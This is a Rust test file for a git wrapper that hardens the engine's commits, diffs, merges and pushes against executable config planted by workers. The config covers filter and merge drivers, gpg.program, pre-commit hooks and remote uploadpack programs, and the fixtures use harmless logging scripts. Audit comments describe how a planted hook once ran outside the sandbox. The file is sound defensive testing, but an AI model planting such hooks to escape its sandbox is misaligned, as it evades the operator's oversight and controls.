2413 fn commit_test_repo_at(root: &Path, message: &str, timestamp: &str) {
2414 assert!(test_git(root, &["add", "-A"]).status.success());
2415 let output = Command::new("git")
2416 .args(["-c", "commit.gpgsign=false", "commit", "-m", message])
2417 .current_dir(root)
2418 .env("GIT_AUTHOR_DATE", timestamp)
2419 .env("GIT_COMMITTER_DATE", timestamp)
2420 .output()
2421 .expect("spawn git commit");
2422 assert!(output.status.success(), "git commit failed: {output:?}");
2423 }
2424
2425 #[test]
2426 fn path_changed_since_excludes_verification_day_and_detects_later_commit() {
2427 let dir = tempfile::tempdir().unwrap();
2428 init_test_repo(dir.path());
2429 std::fs::write(dir.path().join("evidence.md"), "v1\n").unwrap();
2430 commit_test_repo_at(dir.path(), "seed", "2026-07-08T12:00:00Z");
2431 let repo = GitRepo::open(dir.path()).unwrap();
2432
2433 assert!(!repo
2434 .path_changed_since("evidence.md", "2026-07-08")
2435 .unwrap());
2436
2437 std::fs::write(dir.path().join("evidence.md"), "v2\n").unwrap();
2438 // One hour into the next UTC day is deliberately still the previous
2439 // calendar day in American timezones. The probe must not inherit the
2440 // host timezone when it interprets the verification date.
2441 commit_test_repo_at(dir.path(), "later", "2026-07-09T01:00:00Z");
2442 assert!(repo
2443 .path_changed_since("evidence.md", "2026-07-08")
2444 .unwrap());
2445 assert!(!repo
2446 .path_changed_since("evidence.md", "2026-07-09")
2447 .unwrap());
2448 }
2449
2450 #[test]
2451 fn path_changed_since_refuses_invalid_inputs_and_propagates_git_failure() {
2452 let dir = tempfile::tempdir().unwrap();
2453 init_test_repo(dir.path());
2454 std::fs::write(dir.path().join("evidence.md"), "uncommitted\n").unwrap();
2455 let repo = GitRepo::open(dir.path()).unwrap();
2456
2457 assert!(repo
2458 .path_changed_since("../outside.md", "2026-07-08")
2459 .is_err());
2460 assert!(repo
2461 .path_changed_since("evidence.md", "not-a-date")
2462 .is_err());
2463 assert!(repo
2464 .path_changed_since("evidence.md", "2026-07-08")
2465 .is_err());
2466 }
2467
2468 /// git on Windows cannot parse verbatim (`\\?\C:\...`) paths — the
2469 /// prefix is stripped for git arguments (worktree add/remove). On all
2470 /// platforms a plain path passes through untouched; the verbatim strip
2471 /// itself is cfg(windows) and oracled by the windows-latest CI leg.
2472 #[test]
2473 fn git_path_arg_passes_plain_paths_through() {
2474 let plain = Path::new(if cfg!(windows) {
2475 r"C:\repo\wt"
2476 } else {
2477 "/repo/wt"
2478 });
2479 assert_eq!(git_path_arg(plain), plain);
2480 }
2481
2482 #[cfg(windows)]
2483 #[test]
2484 fn git_path_arg_strips_the_verbatim_prefix() {
2485 let verbatim = Path::new(r"\\?\C:\repo\wt");
2486 assert_eq!(git_path_arg(verbatim), Path::new(r"C:\repo\wt"));
2487 // UNC shares are NOT collapsed.
2488 let unc = Path::new(r"\\?\UNC\share\repo");
2489 assert_eq!(git_path_arg(unc), unc);
2490 }
2491
2492 // -----------------------------------------------------------------------
2493 // 13th-pass review (P1): the with_hooks_disabled countermeasure covers
2494 // the WHOLE executable git-config surface — planted filter drivers and
2495 // gpg.program, not just hooks/fsmonitor. Fixture idiom mirrors
2496 // validator_integrity's planted-hook test: prove the fixture is LIVE
2497 // with an ordinary handle, then prove the verification handle never
2498 // executes the payload. Unix-only: the payloads are /bin/sh scripts.
2499 // -----------------------------------------------------------------------
2500
2501 /// A repo with an initial commit and a scripted payload on disk; returns
2502 /// the repo root (inside `dir`), the payload script path, and the
2503 /// invocation log path the payload appends to when it runs.
2504 #[cfg(unix)]
2505 fn git_exec_config_repo(
2506 dir: &tempfile::TempDir,
2507 payload_body: &str,
2508 ) -> (PathBuf, PathBuf, PathBuf) {
2509 use std::os::unix::fs::PermissionsExt as _;
2510 let root = dir.path().join("repo");
2511 std::fs::create_dir_all(&root).unwrap();
2512 let log = dir.path().join("payload-invocations");
2513 let payload = dir.path().join("payload");
2514 std::fs::write(
2515 &payload,
2516 payload_body.replace("__LOG__", &log.display().to_string()),
2517 )
2518 .unwrap();
2519 std::fs::set_permissions(&payload, std::fs::Permissions::from_mode(0o755)).unwrap();
2520 let git = |args: &[&str]| {
2521 let out = Command::new("git")
2522 .args(args)
2523 .current_dir(&root)
2524 .output()
2525 .expect("spawn git");
2526 assert!(out.status.success(), "git {args:?} failed: {out:?}");
2527 };
2528 git(&["init", "-q"]);
2529 git(&["config", "user.email", "t@t"]);
2530 git(&["config", "user.name", "t"]);
2531 std::fs::write(root.join("seed.txt"), "seed\n").unwrap();
2532 git(&["add", "seed.txt"]);
2533 git(&["commit", "-qm", "seed"]);
2534 (root, payload, log)
2535 }
2536
2537 /// A planted `filter.<name>.clean` driver (repo config) armed by a
2538 /// worker-writable `.gitattributes` must never execute on the engine's
2539 /// checkpoint `git add`/`git commit` — and the add must still stage the
2540 /// bytes VERBATIM (the armed attribute is deliverable content, not
2541 /// something the countermeasure may strip). The driver name is DOTTED
2542 /// (`weird.name`) to cover the subsection round-trip in
2543 /// `configured_filter_drivers`.
2544 #[cfg(unix)]
2545 #[test]
2546 fn git_exec_config_planted_clean_filter_never_runs_on_checkpoint_add() {
2547 let dir = tempfile::tempdir().unwrap();
2548 let (root, payload, log) =
2549 git_exec_config_repo(&dir, "#!/bin/sh\necho clean-ran >> '__LOG__'\ncat\n");
2550 let git = |args: &[&str]| {
2551 Command::new("git")
2552 .args(args)
2553 .current_dir(&root)
2554 .output()
2555 .expect("spawn git")
2556 };
2557 // Plant: the driver in repo config, armed for *.txt by a
2558 // worker-writable attributes file.
2559 assert!(git(&[
2560 "config",
2561 "filter.weird.name.clean",
2562 payload.to_str().unwrap()
2563 ])
2564 .status
2565 .success());
2566 std::fs::write(root.join(".gitattributes"), "*.txt filter=weird.name\n").unwrap();
2567
2568 // Fixture proof: an ORDINARY `git add` executes the planted driver —
2569 // then reset the log so any later invocation can only have come from
2570 // the engine's checkpoint.
2571 std::fs::write(root.join("probe.txt"), "probe\n").unwrap();
2572 assert!(git(&["add", "probe.txt"]).status.success());
2573 assert!(
2574 std::fs::read_to_string(&log)
2575 .map(|hits| !hits.is_empty())
2576 .unwrap_or(false),
2577 "fixture: ordinary git add runs the planted clean filter"
2578 );
2579 let _ = std::fs::remove_file(&log);
2580
2581 // The engine's checkpoint path (commit_dirty_paths is what the pool
2582 // checkpoint and the sequential dirty-tree turn call): the driver
2583 // must NOT execute, and the staged bytes must be verbatim. The handle
2584 // is a PLAIN `GitRepo::open` — hardening is the default now (audit
2585 // H3), and this test is what proves the default carries it.
2586 let repo = GitRepo::open(&root).unwrap();
2587 std::fs::write(root.join("deliverable.txt"), "exact bytes ✓\n").unwrap();
2588 match repo.commit_dirty_paths("checkpoint").unwrap() {
2589 CheckpointOutcome::Committed(_) => {}
2590 other => panic!("checkpoint must commit, got {other:?}"),
2591 }
2592 assert!(
2593 !log.exists(),
2594 "the checkpoint's git add must never execute the planted clean filter: {}",
2595 std::fs::read_to_string(&log).unwrap_or_default()
2596 );
2597 let shown = repo.show_file("HEAD", "deliverable.txt").unwrap().unwrap();
2598 assert_eq!(
2599 shown,
2600 "exact bytes ✓\n".as_bytes(),
2601 "the add stages the raw bytes verbatim — the armed attribute is content, not a hook"
2602 );
2603 // Re-wrapping an already-verified handle is idempotent: the same
2604 // argv segment, never a duplicated or re-enumerated one.
2605 let rewrapped = repo.with_hooks_disabled().unwrap();
2606 assert_eq!(repo.exec_disable_flags, rewrapped.exec_disable_flags);
2607 }
2608
2609 #[cfg(unix)]
2610 #[test]
2611 fn git_exec_config_planted_textconv_never_runs_on_checkpoint_diff() {
2612 let dir = tempfile::tempdir().unwrap();
2613 let (root, payload, log) = git_exec_config_repo(
2614 &dir,
2615 "#!/bin/sh\necho textconv-ran >> '__LOG__'\ncat \"$1\"\n",
2616 );
2617 let raw = GitRepo::open_unhardened(&root).unwrap();
2618 raw.run(&["config", "diff.hostile.textconv", payload.to_str().unwrap()])
2619 .unwrap();
2620 std::fs::write(root.join(".gitattributes"), "*.txt diff=hostile\n").unwrap();
2621 std::fs::write(root.join("seed.txt"), "modified\n").unwrap();
2622 raw.diff_head().unwrap();
2623 assert!(
2624 log.exists(),
2625 "ordinary diff must execute the fixture converter"
2626 );
2627 std::fs::remove_file(&log).unwrap();
2628
2629 let guarded = raw.with_hooks_disabled().unwrap();
2630 assert!(guarded.diff_head().unwrap().contains("+modified"));
2631 assert!(matches!(
2632 guarded.commit_dirty_paths("checkpoint").unwrap(),
2633 CheckpointOutcome::Committed(_)
2634 ));
2635 assert!(!log.exists(), "the engine ran the planted converter");
2636 assert_eq!(
2637 guarded.show_file("HEAD", "seed.txt").unwrap().unwrap(),
2638 b"modified\n"
2639 );
2640 }
2641
2642 #[cfg(unix)]
2643 #[test]
2644 fn git_exec_config_planted_merge_driver_fails_closed() {
2645 let dir = tempfile::tempdir().unwrap();
2646 let (root, payload, log) =
2647 git_exec_config_repo(&dir, "#!/bin/sh\necho merge-ran >> '__LOG__'\nexit 0\n");
2648 let raw = GitRepo::open_unhardened(&root).unwrap();
2649 raw.run(&["checkout", "-b", "other"]).unwrap();
2650 std::fs::write(root.join("seed.txt"), "other\n").unwrap();
2651 raw.run(&["commit", "-am", "other"]).unwrap();
2652 raw.run(&["checkout", "-b", "left", "HEAD~1"]).unwrap();
2653 std::fs::write(root.join("seed.txt"), "left\n").unwrap();
2654 raw.run(&["commit", "-am", "left"]).unwrap();
2655 std::fs::write(root.join(".gitattributes"), "*.txt merge=hostile.name\n").unwrap();
2656 raw.run(&[
2657 "config",
2658 "merge.hostile.name.driver",
2659 payload.to_str().unwrap(),
2660 ])
2661 .unwrap();
2662 let guarded = raw.with_hooks_disabled().unwrap();
2663 assert!(guarded.run(&["merge", "--no-edit", "other"]).is_err());
2664 assert!(
2665 !log.exists(),
2666 "engine merge executed a worker-authored driver"
2667 );
2668 raw.run(&["merge", "--abort"]).unwrap();
2669 raw.run(&["merge", "--no-edit", "other"]).unwrap();
2670 assert!(
2671 log.exists(),
2672 "ordinary merge must execute the fixture driver"
2673 );
2674 }
2675
2676 /// A planted `gpg.program` with signing forced on by repo config
2677 /// (`commit.gpgSign=true`) must never execute on the engine's commit:
2678 /// `commit.gpgSign=false` turns signing off and `gpg.program=/bin/false`
2679 /// makes the payload inert even if signing is forced back on.
2680 #[cfg(unix)]
2681 #[test]
2682 fn git_exec_config_planted_gpg_program_never_runs_when_signing_forced() {
2683 let dir = tempfile::tempdir().unwrap();
2684 let (root, payload, log) =
2685 git_exec_config_repo(&dir, "#!/bin/sh\necho gpg-ran >> '__LOG__'\nexit 1\n");
2686 let git = |args: &[&str]| {
2687 Command::new("git")
2688 .args(args)
2689 .current_dir(&root)
2690 .output()
2691 .expect("spawn git")
2692 };
2693 assert!(git(&["config", "commit.gpgSign", "true"]).status.success());
2694 assert!(git(&["config", "gpg.program", payload.to_str().unwrap()])
2695 .status
2696 .success());
2697
2698 // Fixture proof: an ORDINARY commit invokes the planted signer (and
2699 // fails because the payload exits 1) — the repo config really forces
2700 // signing. Then reset the log.
2701 std::fs::write(root.join("probe.txt"), "probe\n").unwrap();
2702 assert!(git(&["add", "probe.txt"]).status.success());
2703 assert!(
2704 !git(&["commit", "-qm", "probe"]).status.success(),
2705 "fixture: signing with the failing payload must fail the commit"
2706 );
2707 assert!(
2708 std::fs::read_to_string(&log)
2709 .map(|hits| !hits.is_empty())
2710 .unwrap_or(false),
2711 "fixture: ordinary git commit runs the planted gpg.program"
2712 );
2713 let _ = std::fs::remove_file(&log);
2714
2715 // The engine's commit runs with the payload neutralized: it commits
2716 // unsigned and the signer never fires. Plain `GitRepo::open` again —
2717 // the default path is the one that has to hold.
2718 let repo = GitRepo::open(&root).unwrap();
2719 match repo.commit_dirty_paths("checkpoint").unwrap() {
2720 CheckpointOutcome::Committed(_) => {}
2721 other => panic!("checkpoint must commit, got {other:?}"),
2722 }
2723 assert!(
2724 !log.exists(),
2725 "the engine's commit must never execute the planted gpg.program: {}",
2726 std::fs::read_to_string(&log).unwrap_or_default()
2727 );
2728 // The commit really landed (ordinary add/commit behavior unchanged).
2729 assert_eq!(repo.commits_between("HEAD~1", "HEAD").unwrap().len(), 1);
2730 }
2731
2732 // -----------------------------------------------------------------------
2733 // Audit 2026-09-01 H1/H3: hardening is the DEFAULT, not an opt-in.
2734 //
2735 // The countermeasure was well built and applied at five of twenty-one
2736 // sites. The engine's checkpoint commits, the integration-worktree
2737 // handle, checkout, tag and `push_mission_branch` all opened plain
2738 // handles in the tree the worker controls, so a planted
2739 // `.git/hooks/pre-commit` executed outside every sandbox with the
2740 // engine's full ambient environment.
2741 // -----------------------------------------------------------------------
2742
2743 /// Plant an executable `.git/hooks/<name>` that appends to `log`.
2744 #[cfg(unix)]
2745 fn plant_hook(root: &Path, name: &str, log: &Path) {
2746 use std::os::unix::fs::PermissionsExt as _;
2747 let hooks = root.join(".git").join("hooks");
2748 std::fs::create_dir_all(&hooks).unwrap();
2749 let hook = hooks.join(name);
2750 std::fs::write(
2751 &hook,
2752 format!("#!/bin/sh\necho {name}-ran >> '{}'\n", log.display()),
2753 )
2754 .unwrap();
2755 std::fs::set_permissions(&hook, std::fs::Permissions::from_mode(0o755)).unwrap();
2756 }
2757
2758 /// A worker-planted `pre-commit` hook must not run on the checkpoint
2759 /// commit of a handle opened the ORDINARY way. The unhardened handle is
2760 /// the fixture proof that the hook is live: without it this test would
2761 /// pass on a repo where hooks simply never fire.
2762 #[cfg(unix)]
2763 #[test]
2764 fn default_open_never_runs_a_planted_pre_commit_hook() {
2765 let dir = tempfile::tempdir().unwrap();
2766 let (root, _payload, log) = git_exec_config_repo(&dir, "#!/bin/sh\ncat\n");
2767 plant_hook(&root, "pre-commit", &log);
2768
2769 // Fixture proof: the explicitly UNHARDENED handle runs it.
2770 let unhardened = GitRepo::open_unhardened(&root).unwrap();
2771 std::fs::write(root.join("probe.txt"), "probe\n").unwrap();
2772 unhardened.commit_dirty_paths("probe").unwrap();
2773 assert!(
2774 log.exists(),
2775 "fixture: an unhardened handle must run the planted pre-commit hook"
2776 );
2777 std::fs::remove_file(&log).unwrap();
2778
2779 // The default: hardened, so the hook never fires.
2780 let repo = GitRepo::open(&root).unwrap();
2781 std::fs::write(root.join("deliverable.txt"), "x\n").unwrap();
2782 match repo.commit_dirty_paths("checkpoint").unwrap() {
2783 CheckpointOutcome::Committed(_) => {}
2784 other => panic!("checkpoint must commit, got {other:?}"),
2785 }
2786 assert!(
2787 !log.exists(),
2788 "GitRepo::open must be hardened by default: {}",
2789 std::fs::read_to_string(&log).unwrap_or_default()
2790 );
2791 }
2792
2793 /// The same for `push_mission_branch`, which `kranz exec --push` calls on
2794 /// the tree the worker just wrote (`pre-push`, and `core.sshCommand`).
2795 /// The push itself fails — there is no reachable remote — but the hook
2796 /// question is decided before that: git runs `pre-push` only after the
2797 /// connection, so what this pins is that the handle carrying the push is
2798 /// the hardened one.
2799 #[cfg(unix)]
2800 #[test]
2801 fn push_mission_branch_runs_on_a_hardened_handle() {
2802 let dir = tempfile::tempdir().unwrap();
2803 let (root, _payload, _log) = git_exec_config_repo(&dir, "#!/bin/sh\ncat\n");
2804 let repo = GitRepo::open(&root).unwrap();
2805 assert!(
2806 repo.exec_disable_flags.is_some(),
2807 "the handle cli/exec.rs pushes with must carry the neutralization segment"
2808 );
2809 // The guard still refuses a non-mission ref before spawning git.
2810 assert!(repo.push_mission_branch("origin", "main").is_err());
2811 }
2812
2813 /// `with_hooks_disabled` on an already-hardened handle is an idempotent
2814 /// clone: the same argv segment, never a second enumeration. Existing
2815 /// call sites (merge, validator snapshot/integrity) keep reading as the
2816 /// assertions they are.
2817 #[test]
2818 fn with_hooks_disabled_is_idempotent_on_the_default_handle() {
2819 let dir = tempfile::tempdir().unwrap();
2820 init_test_repo(dir.path());
2821 let repo = GitRepo::open(dir.path()).unwrap();
2822 assert!(repo.exec_disable_flags.is_some());
2823 let rewrapped = repo.with_hooks_disabled().unwrap();
2824 assert_eq!(repo.exec_disable_flags, rewrapped.exec_disable_flags);
2825
2826 let plain = GitRepo::open_unhardened(dir.path()).unwrap();
2827 assert!(
2828 plain.exec_disable_flags.is_none(),
2829 "open_unhardened is the explicit escape hatch"
2830 );
2831 assert_eq!(
2832 plain.with_hooks_disabled().unwrap().exec_disable_flags,
2833 repo.exec_disable_flags,
2834 "opting in by hand must reach the same segment the default now carries"
2835 );
2836 }
2837
2838 /// A LOCAL hardened invocation nulls the user- and system-scope config
2839 /// files, which the enumerated `-c` segment cannot cover (the enumeration
2840 /// reads the REPO's config, so a driver armed only in `~/.gitconfig`
2841 /// would not be in the list). The identity reads are the documented
2842 /// exception.
2843 #[test]
2844 fn hardened_invocations_null_user_and_system_config() {
2845 let empty = empty_global_config_path().unwrap();
2846 assert_eq!(
2847 hardened_config_env(UserConfig::Ignored).unwrap(),
2848 vec![
2849 ("GIT_CONFIG_NOSYSTEM", OsString::from("1")),
2850 ("GIT_CONFIG_GLOBAL", empty.as_os_str().to_os_string()),
2851 ]
2852 );
2853 assert!(
2854 hardened_config_env(UserConfig::Visible).unwrap().is_empty(),
2855 "identity resolution must still see the operator's ~/.gitconfig"
2856 );
2857 }
2858
2859 /// Audit F-11: a NETWORK invocation leaves the operator's `~/.gitconfig`
2860 /// in force — `GIT_CONFIG_GLOBAL` is never set for it, so the credential
2861 /// helper, the `insteadOf` convention and the corporate `http.proxy` an
2862 /// https push depends on all still resolve. The system scope stays off,
2863 /// and the argv segment drops exactly the two entries that break a real
2864 /// remote.
2865 #[test]
2866 fn network_invocations_keep_the_operators_global_config() {
2867 let env = hardened_config_env(UserConfig::KeptForNetwork).unwrap();
2868 assert_eq!(env, vec![("GIT_CONFIG_NOSYSTEM", OsString::from("1"))]);
2869 assert!(
2870 !env.iter().any(|(key, _)| *key == "GIT_CONFIG_GLOBAL"),
2871 "nulling the user scope on a push is what F-11 reported as broken"
2872 );
2873
2874 let flags: Vec<String> = [
2875 "-c",
2876 "core.hooksPath=",
2877 "-c",
2878 CREDENTIAL_HELPER_RESET,
2879 "-c",
2880 SSH_COMMAND_OVERRIDE,
2881 "-c",
2882 "core.askPass=",
2883 ]
2884 .iter()
2885 .map(|s| s.to_string())
2886 .collect();
2887 assert_eq!(
2888 ExecFlags::NetworkSafe.select(&flags),
2889 vec!["-c", "core.hooksPath=", "-c", "core.askPass="],
2890 "an empty credential.helper resets the operator's own helper, and an \
2891 empty core.sshCommand makes git exec the empty string"
2892 );
2893 assert_eq!(ExecFlags::All.select(&flags), flags);
2894 assert!(ExecFlags::None.select(&flags).is_empty());
2895 }
2896
2897 /// Audit F-12: `GIT_CONFIG_GLOBAL` points at an EMPTY REGULAR FILE this
2898 /// process created, on every platform — not at `/dev/null` or the
2899 /// never-verified Windows `NUL`, where a git that refuses the path would
2900 /// fail every engine git call rather than degrade.
2901 #[test]
2902 fn the_nulled_global_config_is_an_empty_file_the_engine_owns() {
2903 let path = empty_global_config_path().unwrap();
2904 let meta = std::fs::metadata(path).expect("the empty global config must exist");
2905 assert!(meta.is_file(), "must be a regular file, not a device");
2906 assert_eq!(meta.len(), 0, "must be empty");
2907 // Cached: the same path for the life of the process.
2908 assert_eq!(path, empty_global_config_path().unwrap());
2909 #[cfg(unix)]
2910 {
2911 use std::os::unix::fs::PermissionsExt as _;
2912 assert_eq!(meta.permissions().mode() & 0o777, 0o600);
2913 }
2914 }
2915
2916 /// Audit F-10: the neutralization segment covers the keys that matter on
2917 /// the one path the audit named as newly exposed. `url.*.insteadOf` is
2918 /// deliberately absent — see `build_exec_disable_flags`, blanking a
2919 /// multi-valued key ARMS a catch-all rewrite instead of removing one.
2920 #[test]
2921 fn the_flag_segment_covers_the_credential_and_transport_surfaces() {
2922 let dir = tempfile::tempdir().unwrap();
2923 init_test_repo(dir.path());
2924 let repo = GitRepo::open(dir.path()).unwrap();
2925 let flags = repo.exec_disable_flags.clone().unwrap();
2926 for expected in [
2927 "credential.helper=",
2928 "core.sshCommand=",
2929 "core.askPass=",
2930 "core.editor=",
2931 "sequence.editor=",
2932 "uploadpack.packObjectsHook=",
2933 "protocol.ext.allow=never",
2934 ] {
2935 assert!(
2936 flags.iter().any(|f| f == expected),
2937 "the hardened segment must carry {expected}: {flags:?}"
2938 );
2939 }
2940 assert!(
2941 !flags.iter().any(|f| f.starts_with("url.")),
2942 "an empty insteadOf matches EVERY url and rewrites it to the base"
2943 );
2944 }
2945
2946 /// A remote whose config names a program to run on the far side is
2947 /// enumerated and blanked, the way filter drivers are. Both keys are
2948 /// single-valued, so the empty `-c` override really does replace the
2949 /// planted value.
2950 #[test]
2951 fn remote_transport_programs_are_enumerated_and_blanked() {
2952 let dir = tempfile::tempdir().unwrap();
2953 init_test_repo(dir.path());
2954 assert!(test_git(
2955 dir.path(),
2956 &["config", "remote.origin.uploadpack", "/tmp/payload"]
2957 )
2958 .status
2959 .success());
2960 let repo = GitRepo::open(dir.path()).unwrap();
2961 let flags = repo.exec_disable_flags.clone().unwrap();
2962 assert!(flags.iter().any(|f| f == "remote.origin.uploadpack="));
2963 assert!(flags.iter().any(|f| f == "remote.origin.receivepack="));
2964 }
2965
2966 /// The index-flag detections must still SEE the fsmonitor-valid tag.
2967 ///
2968 /// Neutralizing `core.fsmonitor=` on every invocation made `ls-files -f`
2969 /// print the ordinary `H` for a flag-hidden entry, so
2970 /// `has_normal_index_entry` — which `kranz ready` uses to refuse a
2971 /// `.gitignore` whose worktree bytes are hidden from diff and status —
2972 /// read the hidden file as clean. The carve-out in
2973 /// `run_seeing_fsmonitor` is what keeps the detection working; this test
2974 /// is what would catch it being removed.
2975 #[test]
2976 fn index_flag_detection_still_sees_fsmonitor_valid_on_a_hardened_handle() {
2977 let dir = tempfile::tempdir().unwrap();
2978 init_test_repo(dir.path());
2979 std::fs::write(dir.path().join("rules.txt"), "one\n").unwrap();
2980 assert!(test_git(dir.path(), &["add", "-A"]).status.success());
2981 assert!(Command::new("git")
2982 .args(["-c", "commit.gpgsign=false", "commit", "-qm", "seed"])
2983 .current_dir(dir.path())
2984 .output()
2985 .expect("spawn git commit")
2986 .status
2987 .success());
2988 assert!(test_git(dir.path(), &["config", "core.fsmonitor", "true"])
2989 .status
2990 .success());
2991 std::fs::write(dir.path().join("rules.txt"), "one\ntwo\n").unwrap();
2992 assert!(test_git(
2993 dir.path(),
2994 &["update-index", "--fsmonitor-valid", "rules.txt"]
2995 )
2996 .status
2997 .success());
2998
2999 let repo = GitRepo::open(dir.path()).unwrap();
3000 // Whether the bit sticks is git-version dependent; skip rather than
3001 // fail where this host's git drops it (the same pattern ready.rs
3002 // uses for its own fixture).
3003 let tagged = test_git(dir.path(), &["ls-files", "-f", "--", "rules.txt"]);
3004 if String::from_utf8_lossy(&tagged.stdout) != "h rules.txt\n" {
3005 eprintln!("this git does not honor --fsmonitor-valid; skipping");
3006 return;
3007 }
3008 assert!(
3009 !repo.has_normal_index_entry("rules.txt").unwrap(),
3010 "a hardened handle must still refuse an fsmonitor-hidden entry"
3011 );
3012 assert!(
3013 !repo.is_clean_tracked_strict().unwrap(),
3014 "the strict cleanliness check must see the flag too"
3015 );
3016 }
3017
3018 /// The identity carried into engine commits is unchanged by the
3019 /// hardening: `ensure_identity` pins whatever the operator's config
3020 /// resolves to into LOCAL scope, which a hardened invocation can still
3021 /// see. Without the pin, nulling `~/.gitconfig` would silently restamp
3022 /// every engine commit as `kranz <kranz@localhost>`.
3023 #[test]
3024 fn ensure_identity_pins_the_resolved_identity_into_local_scope() {
3025 let dir = tempfile::tempdir().unwrap();
3026 init_test_repo(dir.path());
3027 // init_test_repo sets a LOCAL identity; it must survive untouched.
3028 let repo = GitRepo::open(dir.path()).unwrap();
3029 repo.ensure_identity().unwrap();
3030 let (name, email) = repo.resolved_identity().unwrap();
3031 assert_eq!(name, "kranz-test");
3032 assert_eq!(email, "test@kranz.local");
3033 let local = test_git(dir.path(), &["config", "--local", "--get", "user.name"]);
3034 assert_eq!(String::from_utf8_lossy(&local.stdout).trim(), "kranz-test");
3035 }
3036}